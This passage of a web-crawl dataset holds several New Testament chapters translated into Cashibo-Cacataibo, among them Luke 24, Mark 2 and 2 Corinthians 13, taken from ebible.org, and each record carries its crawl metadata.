'icën.\n51 Usa 'ain ca José 'imainun Maríabë Jesús Nazaretnu cuantëcëancëxa. Cuanx anuax caniquin ca aín 'unan papa 'imainun aín tita quicësabi oquin ñu 'acëxa. Usaía canimainun ca Maríanën Jerusalénuaxa Jesús 'icëcama a manuquinma sináncëxa. 52 Sinánmainun ca Jesús caniacëxa. Cani aín nami cushi 'ianan ca ñu upí oquin 'unáncëxa. Usa 'icë ca —ax ca upí tuá 'icë —quixun camabi unin cuëënquin nuibacëxa. Nuibamainun ca Nucën Papa Diosanribi a isi cuëënquin nuibacëxa.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/LUK02.htm","date":"2022-01-28T11:56:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305494.6\/warc\/CC-MAIN-20220128104113-20220128134113-00679.warc.gz","language":"cbr","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000083446502686}","num_words":1399,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24\nJesús baísquia\n(Mt 28.1-10; Mr 16.1-8; Jn 20.1-10)\n1 Anun ñu mëëtima nëtë 'iónxa pëcaracëbëa bari urucëma 'aínshi ca axa Galileanuax Jesúsbë uëxancë xanucama anun sanu oti ro mëníoëxancë a buani raíri xanubë anua Jesús mëníoëxancënu cuantëcëancëxa. 2 Buani cuanx anu bëbaquinbi ca mapara, anun quini xëpuëxancë, racanacë isacëxa. 3 Usa 'icë istancëx cuani, quininu atsínquianxun isquinbi ca Nucën 'Ibu Jesús 'aímocëxa. 4 'Aímoi ratuti ca sináncasmacëxa. Usai ratúquian atun iscëxbi ca rabë́ uni, chupa chaba chabaquicë pañucë, a rapasu 'iacëxa. 5 Usa isi ca xanucamax racuëti meu tëtúbuacëxa. Tëtúbutiabi ca a unin cacëxa:\n—¿Uisa cupí caramina mitsun anu uni bamacë mëníotinua axa ashiti bamacëma uni barin? 6 Ax ca ënuma 'icën, ca baísquiaxa. An Galileanuxun mitsu caëxancë bana camina sinánti 'ain. 7 Ësaquin ca mitsu caëxanxa: Uni 'inux Nucën Papa Diosnuax uá 'icë, ca 'ë 'atima unin, uni itsían 'ë 'aminun 'inánti 'icën. 'Ináncëxun ca i curúsocënu bamanun 'ë matásti 'icën. Matáscëx asérabi bamatancëx cana rabë́ 'imainun achúshi nëtë 'iónxa pëcaratëcëncëbë baísquiti 'ai quixun.\n8 Usaquian ángelnën cacëxun ca —asérabi ca Jesusan usaquin nu caëxanxa —quixun xanucaman sináncëxa. 9 Usaquin sinánbiani anuax cuanxun ca atun iscëcama ñuianan ángelnën cacëcama ñuiquin, Jesusan 'unánmicë unicama mëcën rabë́ 'imainun achúshi a 'imainun an aín bana cuacë uni raíricamaribi ñuixuancëxa. 10 Usaquian an Jesusan 'unánmicë unicama ñuixuncë xanucama ax ca 'iacëxa, María Magdalena 'imainun Juana 'imainun Jacobonën tita María, 'imainun axa atubë 'icë xanucamaribi. 11 Usaquian acaman ñuixuncëxunbi ca —cëmëi ca quia —quixun sinánquin —usa ca —quixun sinánma 'icën.\n12 Usaía raíri 'imainun ca Pedronëxëshi abáquiani a quininu cuancëxa. Cuanx bëbai tëtúbuquin isquinbi ca anun Jesús rabúncë chupa ashi isacëxa. Isbiani ratúquiani uisai cara 'iaxa quixun sináncasmai ca aín 'icënu cuantëcëancëxa.\nEmaús ëmanu bain cuanía usai 'iá\n(Mr 16.12-13)\n13 A nëtë́nbi ca an Jesusan bana cuacë uni rabë́ Jerusalénuax, axa mëcën rabë́ 'imainun achúshi kilometrosa 'ain, Emaús cacë ëmanu bain cuancëxa. 14 Usai bain cuani ca a rabëtax usaía Jerusalénuax Jesús 'icë ñui cananquiancëxa. 15 Usaía cananquiancëbëbi ca Jesús a caxu cuani, atubë biránanquiani cuancëxa. 16 Cuania isquin 'unántisa 'ixunbi ca —ënëx ca Jesús 'icë —quixun 'unánma 'icën. 17 'Unáncëxunmabi ca Jesusan atu cacëxa:\n—¿Añu ñui caramina cananquianin? ¿Uisacatsi caramina masá nuitutin?\n18 Cacëx niracëquin ca axa bain cuancë uni rabë́, achúshi, Cleofas cacë, an Jesús cacëxa:\n—¿Amanuax Jerusalénu ucë 'ixunbia uisa ñucama cara anu 'iaxa quixun ñuicania 'itsa unin cuanbi caramina mínshi cuacëma 'ain?\n19 Quixuan cacëxun ca Jesusan cacëxa:\n—¿Añu ñui cara quicanx?\nQuia ca cacëxa:\n—Nazaretnu 'icë Jesús, a ñui ca quicanxa. An ca Nucën Papa Dios 'imainun unicamanribi iscëxun upí oquin Nucën Papa Dios quicë bana uni ñuixuanan aín cushínbi uni itsin 'acëma ñu 'axa. 20 Usa 'icëbi ca nun sacerdotenën cushicamabëtan nun cushi raíricamanribi a Piláto 'inánxa, ax isa i curúsocënu matáscëx bamanun quixun. 21 Nun cananuna Romanu 'icë unían, nux Israel unibu 'icë, nu 'imainun nun nëtëcamaribi 'ibuacë 'aínbia nunainshi nun nëtë 'inun, an nu mëníoxunti sinan, 'aínbi ca bamaëxanxa. 22 Usa 'aínbi ca nuxnu 'icësaribitía ami sináncë xanu raírinën anu Jesús mëníoëxancënu pëcaracëma 'aínshi cuanxun isbëtsini uxun ñuixunquin nu ratupunia. 23 Cuanxunbi ca Jesús 'aímopunia. 'Aímobëtsini uxun ca nu capunia, ángel rabëtainsa iscëxun atu, Jesús ca bamacëma 'icë, ca baísquiaxa, caxa quixun. 24 Usaquin cacëx anua Jesús mëníoëxancënu cuanxunbi ca nubëa 'icë uni raírinën xanúan cacësabi oquin isquinbi Jesús mëraima 'ipunia.\n25 Usaquian cacëxun ca Jesusan cacëxa:\n—Upí oquin camina sinaniman. An Nucën Papa Dios quicë bana uni ñuixuncë unin cuënëo banax ca asérabi 'icë quixun camina sináncëma 'ain. 26 ¿A bana quicësabi oi cara Cristo, ax aín Papabë 'Apu 'i cuancëma pan 'aish, paë tani tëmërati 'iax?\n27 Caxun ca Moisésnëan cuënëo bana 'imainun an Nucën Papa Dios quicë bana uni ñuixuncë unicamanribia cuënëo bana, uisa banacama cara a ñui quicë 'icë, a banaxa quicësabi oi ca 'iaxa quixun a uni rabë́ ñuixuancëxa. 28 Atu bana ñuixunbiancëx anua cuancë Emaús ëmanu abë bëbaquinbi ca a rabëtan, Jesús sapi ca cuanshitia quixun isacëxa. 29 Isquin ca cacëxa:\n—Bari ca xupíbutia, ca baquishia, usa 'ain camina nun xubunu nubë 'i cuanti 'ain. Cacëx ca atubë cuanx aín xubunu 'i Jesús atsíancëxa.\n30 Atsíntancëx mesanu a uni rabë́bë tsóbuxun ca pán bixun —asábi ca —Nucën Papa Dios catancëxun, tucapaquin atu 'ináncëxa. 31 Usa 'ain ca, ënëx ca Jesús 'icë quixun 'unántancëxunmabi pán tucapaxun 'ináncëxun pain —Jesús ca ënëx 'icë —quixun 'unáncëxa. 'Unania ratúcëbëishi ca Jesús nëtë́acëxa. 32 Nëtë́cëbë ca canancëxa:\n—An nubë banaquin cuënëo banacama nu ñuixuncëxun cananuna nun nuitu cuëëni shimëniocacësa tanpunin, ¿usa cat?\n33 Usaquin sinani bënëtishi cuanx ca Jerusalénu cuantëcëancëxa. Cuanx bëbaquin ca Jesusan 'unánmicë uni mëcën rabë́ 'imainun achúshi, acamabëa Jesusan bana cuacë raíri unicamaribi timë́cë mëracëxa. 34 Mëracëxun ca axa timë́cë unicaman cacëxa:\n—Nucën 'Ibu Jesús ca asérabi baísquitëcëanxa. Usa 'icë ca Simonan ispunia.\n35 Usaquian cacëxun cuaquin ca Emaúsnuax ucë uni rabëtan, usai ca bainuax nubë 'ipunia quixun canan —nua pán mëtícaquin 'ináncëxuinshi cananuna ax ca asérabi Jesús 'icë quixun 'unánpuni —quixun cacëxa.\nAín 'unánmicë uni mëcën rabë́ 'imainun achúshi an Jesús isa\n(Mt 28.16-20; Mr 16.14-18; Jn 20.19-23)\n36 Usaquin atu ñuixunía sënë́ncëma pain 'aínbi axbi chiquiracëti atu nëbë́tsi niracëquin ca Jesusan atu cacëxa:\n—Chuámashirua ca 'ican.\n37 Usoquian atu cacëx racuëti ratúquin ca —ñunshin ca —quixun sináncëxa. 38 Usai 'i ami racuëtia isquin ca Jesusan cacëxa:\n—¿Uisacatsi caramina racuëtin? ¿Uisa cupí caramina 'ëx cana asérabi Jesús 'ai quixun sinaniman? 39 'Ën mëcën 'imainun ca 'ën taë is. Isquin ca, 'ëx cana Jesús 'ai quixun 'unan. Uisa cara 'ën nami 'imainun 'ën xo 'icë quixunmi 'unánun ca 'ë ramët. Ñunshinax ca xoñuma 'ianan namiñuma 'icën.\n40 Usaquin caquin ca mëshpáquin aín mëcën ismianan aín taëribi ismiacëxa. 41 Usoquian ismicëxbi ca —ënëx ca Jesús 'icë —quiax cuëënibi sináncasmai ratúacëxa. Ratutia isquin ca Jesusan —¿mitsun a piti ñu cara 'aíma 'ic? —quixun cacëxa. 42 Cacëxun ca tsatsa xuicë paná 'imainun buna rëpa tëxëra 'ináncëxa. 43 'Ináncëxun biquin ca atun ismainunbi Jesusan piacëxa.\n44 Pitancëx sënë́nxun ca Jesusan atu cacëxa:\n—'Ëx bamacëma pain 'ixun 'ën mitsu cacësabi oi ca 'iaxa. 'Ë ñuiquin cuënëo banacama Moisésnën 'a, 'imainun an Nucën Papa Dios quicë bana uni ñuixuncë unicaman cuënëo banacama, 'imainun Salmosribi, acamaxa 'ë ñui quicë bana axa quicësabi oi ca 'iti 'icë quixun 'ën mitsu cacësabi oi cana 'ian. 45 Usaquin caxun ca a ñuiquian cuënëo banacama upí oquian cuanun ñuixunquin anu timë́cë unicama 'unánmiacëxa. 46 'Unánmiquin ca ësaquin cacëxa:\n—Ësai ca a bana quia, Cristo ca bamatancëx rabë́ 'iónxa pëcaratëcëncëbë baísquiti 'icën. 47 Usa 'ain ca aín unicaman Jerusalénuxun pain aín bana ñuitancëxun camabi menu cuanquin ësoquin caquin unicama ñuixunti 'icën, Nucën Papa Diosan atun 'atima ñu 'acëcama tërë́ncë 'inuxun ca sinanaquin bëtsi oquin sinánti 'icë quixun. Ësaía a ñui cuënëo bana quicë a ñuixuntancëxun ca Jesusan atu cacëxa: 48 Mitsun camina 'ëx 'ia iscë 'ixun, uisai carana 'ë ñuiquin cuënëo banacama quicësabi oi 'ia quixun unicama ñuixunti 'ain. 49 Axa uti ñuiquian 'ën Papa Diosan 'ë cacë, a cana mitsunu unun xuti 'ain. Usa 'ain camina Nucën Papa Diosan aín cushi mitsu 'inánun Jerusalénu bërúxun caínti 'ain.\nJesús naínu cuan\n(Mr 16.19-20)\n50 Usa 'ain ca Jesusan Jerusalénuax cuanquin Betania ëma 'urama, aín unicama buáncëxa. Buántancëxun aín mëcën rabë́ manámi oquin ca Nucën Papa Dios atu ñucáxuancëxa. 51 Usaquin ñucáxuntancëxun acama ëbiani ca anua Nucën Papa Dios 'icë anu cuancëxa. 52 Cuania rabitancëx ca chuámashi tani cuëënquiani Jerusalénu cuantëcëancëxa. 53 Cuantancëxun ca nëtë camabi anuxun Nucën Papa Dios rabiti xubunu cuanxun cuanxun, a rabiacëxa. Ashi.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/LUK24.htm","date":"2022-01-28T20:19:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306335.77\/warc\/CC-MAIN-20220128182552-20220128212552-00503.warc.gz","language":"cbr","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000008225440979}","num_words":1162,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nPablonëan ashiquin 'ësëanan bërúanxa 'inun ca\n1 Mitsu isi rabëti cuan 'aíshbi cana amiribishi mitsu isi cuantëcënti 'ain. Camabi ñu ca unin, rabë́ unían ñuia cuapánti 'icën. Rabë́ 'imainun achúshi unían ñuiaira ca asérabi ca quixun 'unánti 'icën. 2 Mitsu isi cuanx anu 'ixun cana mitsu can, 'ën mitsu istëcëni uxun iscë́xa an ñu 'atima 'acë unicama 'imainun raíri uníxribi sinanatíma usabi 'ain, cana atu 'ësëquin cushin cati 'ain. Usoquin 'ën mitsu cacësabi oquin cana 'ura 'ixunbi ënë quiricanën mitsu catëcënin. 3 Mitsun camina upí oquin 'unántisa tan, carana Cristonën sinánmicësabi oquin unicama bana ñuixuni quixun. 'Ëx mitsu isi amiribishi cuanxun, an ñu 'aisama 'acë unicama cushin cacëbëtan, camina 'unánti 'ain, Cristo ax ca asérabi 'ëbë 'icë quixun. Cristo ax ca cushiñúmama 'icën. Usa 'ixun ca mitsu sinanamianan ami catamëtími upí 'inun 'imiquin, aín cushi mitsu ismiti 'icën. 4 Cristo ax ca uni itsi 'icësai i curúsocënu matáscë 'iacëxa. Usai 'iá 'aíshbi ca bërí Nucën Papa Diosan cushin uisatimoi tsotia. Usa 'ain cananuna nux Cristo 'iásaribiti 'iquin uisa cara unin ocëxunbi cupiquinma tanshiti cushimasa 'ixunbi an 'imicëxun Nucën Papa Diosan cushin mitsu 'aquinin.\n5 Mitsúnbi camina sinánti 'ain, caramina asérabi Cristomi catamëti ax cuëëncësabi oi 'i quixun. Upí oquin ca sinan. ¿Caramina 'unaniman. Jesucristo ax ca asérabi mitsubë 'icë quixun? Asérabi Cristonanma 'ain ca ax mitsubëma 'icën. 6 Cristo ca asérabi nubë 'icë quixunmi mitsun 'unánti cana cuëënin. 7 Mitsun —usama ca —quixun nu sináncëbëtanbi cananuna ñu 'atima 'axmami 'icanun quixun Nucën Papa Dios mitsu ñucáxunin. Nun cananuna mitsu upí oquin 'unánmia quixuan unin sinánti cupíma, mitsúnmi upí ñu 'ati cupíshi, cananuna Nucën Papa Dios mitsu ñucáxunin. 8 Cristonën bana quicësama oquin cananuna 'aiman. Aín bana quicësabi oquinshi cananuna 'ain. 9 Nux cushimasa 'ixunbi 'aquincëxmi mitsux upí 'ain cananuna cuëënin. Mitsun ñu 'atima 'acëcama mëníocë 'aish upíshi 'inun cananuna ënquinma Nucën Papa Dios mitsu ñucáxunin. 10 Nucën 'Ibu Jesucristonën, mitsu 'atimoquinma an iscëx upí 'inun 'aquinun 'ë cacë 'ixun, cana mitsu isi cuantëcënxunmashi ënë quirica mitsu buánmin, cuanxun 'ën iscëxmi 'aisama 'icania cushin banaquin masá nuitumiquin mitsu catin rabanan.\n11 'Ën xucë́antu, chuámashi camina 'icanti 'ain. Añu ñucama cara 'aisama 'icë camina mëníoquin sinántëcëntima 'ain, 'ën mitsu cacë banacama cuati camina bëtsin sináncësabi oquin sinani nishananíma nuibananishi 'icanti 'ain. Usai 'ia ca Nucën Papa Dios, an aín unicama nuibaquin bënëtima chuámarua 'inun 'imicë, ax mitsubë 'iti 'icën. 12 Jesucristo cupí mitsun nuitu upí 'aish camina chuámarua 'inux bëtsibë bëtsibë cananti 'ain. 13 Axa 'ëbë 'icëcama Cristonën 'imicë 'aish aín sinan upíira upí acamanribi ca mitsu chuámarua 'aishmi bërúanx 'icanun 'ë camiaxa.\n14 Mitsux 'uchacëbi Nucën 'Ibu Jesucristonën nuibaquin ië́micë 'icëa Nucën Papa Diosanribi nuibamainuan aín Bëru Ñunshin Upí axribi mitsubë 'icëbëmi chuámarua bucucanti cana cuëënin. Ashi, Pablo.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/2CO13.htm","date":"2022-01-16T10:03:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320299852.23\/warc\/CC-MAIN-20220116093137-20220116123137-00211.warc.gz","language":"cbr","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000003695487976}","num_words":433,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nUsabi 'aish nicëma uni Jesusan pëxcüa\n(Mt 9.1-8; Lc 5.17-26)\n1 Anu uni 'icëma menu 'itancëx ca Jesús Capernaúm ëmanu cuantëcëancëxa. Cuanxa anu 'ain ca unicaman —Jesús ca uax xubunu 'icë —quixun chaniocëxa. 2 Chaniocëbë ca anua Jesús 'icë xubu tsitsirui, 'itsa uni timëcamë'ëocëxa. Usari 'iquian anu uni niti 'aíma 'inun xubu xëcuëbi tsitsirucë, ca Jesusan anuxun atu bana ñuixuancëxa. 3 Ñuixuncëbëtanbi ca rabë́ 'imainun rabë́ unin uni achúshi ñucë, nirucuaínquinbi tancëma, bacë́tinu racácë bëacëxa. 4 Bëxun ca 'itsa unia tsitsíruan anun atsínmiti 'aíma 'ain, tapitinën buánrutancëxun, xubu manan tapuacë anua Jesús 'icë puntë́bi cha oquin bërúaratancëxun, aín bacë́tinuabi nanpácëxa. 5 Nanpáquin ca —Jesusan ca ënë uni pëxcuti 'icë —quixun aín nuitu mëu sináncëxa. Sinania atun sinan 'unánquin ca Jesusan ñucë uni cacëxa:\n—Min 'uchacama ca tërë́ncë 'icë —quixun.\n6 Usoquin Jesusan caia cuaquin ca anu tsócë an Moisésnën cuënëo bana 'unáncë unicaman ësaquin sináncëxa: 7 —¿Uisa 'aish cara ënë unix usai banain? Ënëx ca anúan Nucën Papa Diosaxëshi quiti banan banaia, ax ca 'aisama 'icën. Uinu 'icë unínbi ca 'ucha tërë́ntima 'icën. Nucën Papa Diosan cuni ca 'ucha tërë́nti 'icën.\n8 Usaquian sinania atun sinan 'unánquin ca Jesusan atu cacëxa:\n—¿Uisacasquin caramina mitsun usaquin sinanin? 9 'Ën cana ñucë uni ënë —min 'uchacama ca tërë́ncë 'icë —quixun cananbi —niruquiani ca min bacë́ti bibiani cuantan —quixunribi cati 'ain. 10 Nucën Papa Diosan cushínshi 'ën ënë uni pëxcuia isquin camina asérabi 'unánti 'ain, uni 'inux Nucën Papa Diosnuax uá, 'ën cana unin 'ucharibi tërë́nti 'ai quixun.\nCaquin ca racábucë uni cacëxa: 11 —'Ën cana mi cain, niruquiani ca min bacë́ti bibiani min xubunu cuantan.\n12 Cacëxëshi niruquin aín bacë́ti bibiani ca a uni, anu 'icë unicaman ismainunbi cuancëxa. Usaría cuania isi ratuti ca Nucën Papa Dios rabi quicancëxa:\n—Ësa ñu cananuna isáma 'ain.\nJesusan Leví aín uni 'inun ca\n(Mt 9.9-13; Lc 5.27-32)\n13 Parúmpapa cuëbía Jesús cuantëcëncëbë ca 'aisamaira uni anu timëcamë'ëocëxa. Timëcamë'ëoia ca Jesusan atu 'unánmiacëxa. 14 'Unánmitancëx cuanquínbi ca Jesusan Alfeonën bëchicë, Leví cacë, a anuxuan 'apu buánmiti curíqui bicë anua tsócë mëracëxa. Mëraquin ca Jesusan cacëxa:\n—'Ën mi 'unánminun ca 'ëbë cuani ut.\nCacëxëshi ca Leví niruquiani Jesúsbë cuancëxa. 15 Cuanquin ca Jesúscëñun aín 'unánmicë unicama aín xubunuxun pi cuanun Levitan buáncëxa. Buania ca 'aisamaira unin atu nuibiancëxa. Nuibiancëbë atúxribi atubë cuanx ca an 'apu buánmiti curíqui bicë unicamabë an fariseocaman bana tancëma uni raírinëxribi anu cuanx Jesús 'imainun aín 'unánmicë unicamabëtan pi bucüacëxa. 16 Usoquian atubëtan piia isquin ca an Moisésnën cuënëo bana 'unáncë unicamabëtan fariseo unicaman Jesusan 'unánmicë unicama ñucáquin cacëxa:\n—¿Uisa cupí cara an mitsu 'unánmicë unin 'uchañu unicamabëtan pianan an 'apu buánmiti curíqui bicë unicamabëtanribi pin?\n17 Usai quia cuaquin ca Jesusan cacëxa:\n—Paë tancëma uni, ax ca rucuturúan a ronti cuëënima. Paë tancë uni, ax cuni ca rucuturúan a ronti cuëënia. Usaribiti cana 'ëx an —'ëx cana asábi 'ai —quixun sináncë unicama a 'ëmia catamënun cai uáma 'ain. Ama, an —'ën nuitu 'aisama 'aish cana 'ëxbi upí 'itima 'ai —quixun sináncë unicama a cuni upí 'inuxa 'ëmi catamënun cai cana 'ëx uacën.\nUnían Jesús pima samáti ñucá\n(Mt 9.14-17; Lc 5.33-39)\n18 Usa 'ain ca Juan, an uni nashimicë, aín 'unánmicë unicama 'imainun fariseo unicaman, Nucën Papa Dios sinani samáquin picëbëtanma, uni raírinën anu cuanxun Jesús cacëxa:\n—Juanën 'unánmicë unicamax ca Nucën Papa Diosmi sinani bëtsi bëtsi nëtën pima samatia. Usaribiti ca fariseonëan 'unánmicë unicamaxribi 'ia. ¿Usa 'aínbi cara uisacasquin min 'unánmicë unicaman samáquinma pin?\n19 Cacëxun ca Jesusan cacëxa:\n—¿Anun xanu biti nëtën cara pi unun quixuan xanu biti unin camicë unicaman, an xanu biti uni axa atubë 'ain, masá nuituquin pima 'iti 'ic? Axa atubë 'ain ca pima 'itima 'icën. 20 Ca ësa 'icën: An xanu biti unin xanu biquin abëtan pi unun camicëx ca axa abë nuibanancë unicama masá nuitutima abë cuëënia. Xanu bibiani cuanquian a unin ëbiancëxun cuni ca axa abë nuibanancë unicaman masá nuituquin pitima 'icën. Usaribiquin ca 'ën 'unánmicë unicama 'ëbë 'ixun masá nuituti samáquinma piia. Unían 'ë bicëxun 'ën ëbiancëxun cuni ca masá nuituquin pitima 'icën.\n21 Catancëxun ca aín banaxa fariseo unicaman uni 'unánmicë banasama 'ain, aín banabë fariseonëan 'unánmicë bana mëscúti rabanan Jesusan ësaquinribi a unicama cacëxa:\n—Ësaribi ca. Nun aintsi uinu 'icë xanúnbi ca chupa xëni, chupa sani iotan aín tuquicë a 'unuima. Usocëxbi ca chupa xëni ax chëqui anun 'unucë ió ax nipacëtia. Usai 'i ca aín tuquicë ax chaia. 22 Ësaribi ca. Ui unínbi ca ñuina xacá, anu 'umpax 'aruti chumusa oquin 'acë, axa xëni 'ain, anu ñu chëcacë 'aruima. Anu 'arucëxunbi ca ñu chëcacë ax cubini uruquin ñuina xacá xëni a tucaia. Axa tuquicëbë ca chëcaxun anu 'arucëxa cubíncë ñu ax tutuqui nëtëtia. Usa 'ain ca ñu chëcacë ñuina xacá chumusa oquin 'acë iónushi 'aruti 'icën.\nËsaquin ca an ñucácë unicama Jesusan cacëxa.\nAnun ñu mëëtima nëtëan Jesusan 'unánmicë unicama trigo bëru sirícaquin bia\n(Mt 12.1-8; Lc 6.1-5)\n23 Anun ñu mëëtima nëtën ca Jesús anu trigo 'apácë naënu 'icë bain cuancëxa. Cuancëbë abë cuanquinbi ca aín 'unánmicë unicaman trigo bëru pëcë́cë sirícaquin biacëxa. 24 Bitsia isquin ca fariseo unicaman Jesús cacëxa:\n—Ca is, ¿uisacasquin cara min 'unánmicë unicaman anun ñu mëëtima nëtën usaquin 'atima ñu 'ain?\n25 Cacëxun ca Jesusan cacëxa:\n—¿Mitsun caramina Davidnën ca 'acëñuma 'ixun axa abë cuancë unicamabëtan ësoquin ñu 'acëxa quixun cuënëo bana a iscëma 'ain? 26 Abiatar cacë unia judíos sacerdotenën cushicaman 'apu 'ain ca Davidnën 'acëñuma 'ixun piisa tanquin, anuxun Nucën Papa Dios rabiti xubu anu atsínxun anu 'icë pán, Nucën Papa Diosan isti oquin nancë, a bixun piacëxa. A panëxa judíos sacerdotenëinshi piti 'aían uni itsin piti 'icëmabi ca sacerdotenën 'ináncëxun bixun Davidnën piacëxa. Piquin ca axa abë 'icë unicama anribia pinun 'ináncëxa.\n27 Ësaquinribi ca Jesusan cacëxa:\n—Unia ñu mëëtancëx tanti cushitëcënti cupí ca Nucën Papa Diosan a nëtë tantiti mëníocëxa. A nëtën ca tantiti 'icë quixuinshi sinánun ca Nucën Papa Diosan uni unioma 'icën. 28 Uni 'inux Nucën Papa Diosnuax uá 'ixun cana 'ën anun ñu mëëtima nëtën cara añu 'ati 'icë quixun uni cati 'ain.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/cbrNT\/MRK02.htm","date":"2022-01-19T14:44:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00235.warc.gz","language":"cbr","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000079870224}","num_words":951,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.28,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\n1 Usa 'ain camina Nucën Papa Diosnan 'ixun ñu 'atimacama, cëmëti, uni paránti, nutsiti, unibë ñuiananti, acama ënti 'ain. 2 Bërí bacë́ncë tuacën ca anun caninuxun aín titan xuma 'ati cuëënia. Usaribi oquin camina Nucën Papa Diosan bana upí oquin 'unánti cuëënti 'ain, ainan 'aish aín cuëëcësabi oquin 'ai ami cushicë 'inuxun. 3 Usai 'i camina Nucën 'Ibu Diosmi sinánquin ax ca asérabi upí 'icë quixun 'unáncë 'aish aín bana 'unánti cuëënti 'ain.\nCristo ami xubu raroti maxáxsa\n4 Usa 'ain camina axa bamatimoi tsócë, Jesucristo, a sinani ami catamëti 'ain. Judíos unían cuëëncëma 'aíshbi ca anun cuëënquin Nucën Papa Diosan iscëx ax upíira 'icën. Unían xubu 'aquin maxax upí ami xubu raroti caíscë usaribi ca Jesucristo 'icën. 5 Usa 'ain camina mitsux a xubumi bucúnrucë maxáxsa 'ain. Jesucristomi catamëcë 'aíshmi asaribi upí 'inun ca Nucën Papa Diosan ainan 'inun mitsu 'imiaxa. Usa 'ain camina Nucën Papa Diosan Bëru Ñunshin Upía mitsubë cupí bëtsibë bëtsibë nuibanani, bëtsin sináncësaribi oquin sinani achúshisa 'ain. Usa 'ixun camina Jesucristo cupí ainan 'ixun Nucën Papa Dios cuëëncësabi oquin ñu 'anan a rabianan unicama a ñucáxunti 'ain. 6 Nucën Papa Diosan bana cuënëo ax ca ësai quia:\n'Ën cana maxax upí nancësa oquin uni achúshi, Sión cacë matá me anua Jerusalén 'icë, anua 'inun 'imiti 'ain. Unían xubu 'anuxun maxax upí ami xubu raroti caíscë usaribi oquin 'ën caíscë ca ax 'icën. Axa ami catamëcë unicaman ca isti 'icën, an ca asérabi ax quicësabi oquin atu 'aquinia quixun.\n7 Ami catamëcë 'ixun camina mitsun anun cuëëncë ñu upí sináncësamaira oquin a sinánti 'ain. Mitsux usai 'icëbëbi ca axa ami catamëcëma unicamax Nucën Papa Diosan bana cuënëo ësai quicësa 'icën:\nAn maxax xubuacë unían bitancëxun a cuëënquinma racáncë 'aíshbi ca a maxax bërí amia xubu cushicë 'icën, itá upímia xubu cushicë usaribiti.\n8 'Imainun ca Nucën Papa Diosan bana ësai quia:\nA maxáxmi ca uni raírinëx tatíqui chacáti 'icën, a maxax chami chacati ca nipacëti 'icën.\nMaxax ñui quicë 'aíshbi ca a bana Cristo ñui quicë 'icën. An Jesusan bana cuaquinbi asérabi ami catamëquin aín bana quicësabi oquin 'acëma ax ca uni maxáxmi tatíqui nipacëcësaribi 'icën. Ui unicamax cara usai 'iti 'icë quixun ca Nucën Papa Diosan bëráma 'unáncëxa.\nNucën Papa Diosnan unicama ñuicë bana\n9 A unicama usa 'aínbi camina mitsux Nucën Papa Diosan ainan 'inun caísa 'ain. Usa 'ixun camina ax cuëëncësabi oquin 'anan aín unicama a ñucáxunin. Camina an 'imicëx upí 'aish aín uni 'ain. Usa 'ixunmi a rabiquin an 'acë ñucama camabi uni ñuixunun ca Nucën Papa Diosan mitsu ainan 'inun caísacëxa. Mitsux bëráma bëánquibucënu nicësa 'iá 'aíshbi camina bërí an 'imicëx xabánu nicësa 'ain, axa mitsubë 'ain. 10 Bëráma Nucën Papa Dios 'unáncëma 'iá 'aíshbi camina mitsux bërí aín uni 'ain. An ca mitsu nuibaquin 'aquinti 'icë quixun 'unáncëma 'icëbia Nucën Papa Diosan nuibaquin mitsun 'uchacama tërë́nxuan 'aish camina ainan 'ain.\nNucën Papa Dios cuëëncësabi oi 'iti bana\n11 'Ën nuibacë xucë́antu, cana mitsu cain, Nucën Papa Dios mitsun 'Apu 'ain ca aín nëtëx mitsunanribi 'icën. Usa 'ain camina ënë menu 'aish unia aín menumabi 'icësaribi 'ain. Usa 'aish camina anbia 'atimaquin sináncë cupía 'atima ñu 'acë uníxa 'icësaribiti 'itima 'ain. Usa unix ca Nucën Papa Diosbë upí 'ima. 12 An Nucën Papa Diosan bana 'unáncëma unicaman isnun camina mitsux upitax bucuti 'ain. Usaími 'ia isi ca atux an ñu 'atima 'acë uni 'acësa oquin mitsu ñui 'atimati banacë 'aíshbi mitsúnmi upí oquin ñu 'aia isá 'ixun anúan an camabi unin ñu 'acë isti nëtën Nucën Papa Dios rabiti 'icën.\n13 Nucën 'Ibu Jesucristomi sináncë 'ixun camina camaxunbi mitsun 'apucama ënë menua unin 'apu 'imicë, axa quicësabi oquin ñu 'ati 'ain. Amiira unicama cushicë 'apucëñunbi, 14 camina an anëcë aín unicaman banaribi tanti 'ain. Atux ca unían uisa ñu cara 'aia mëníonuan 'apun 'imicë 'icën. An 'amicëxun ca atun axa 'uchacë uni usaquin 'atëcënxunma 'anun castícania. Usaquin 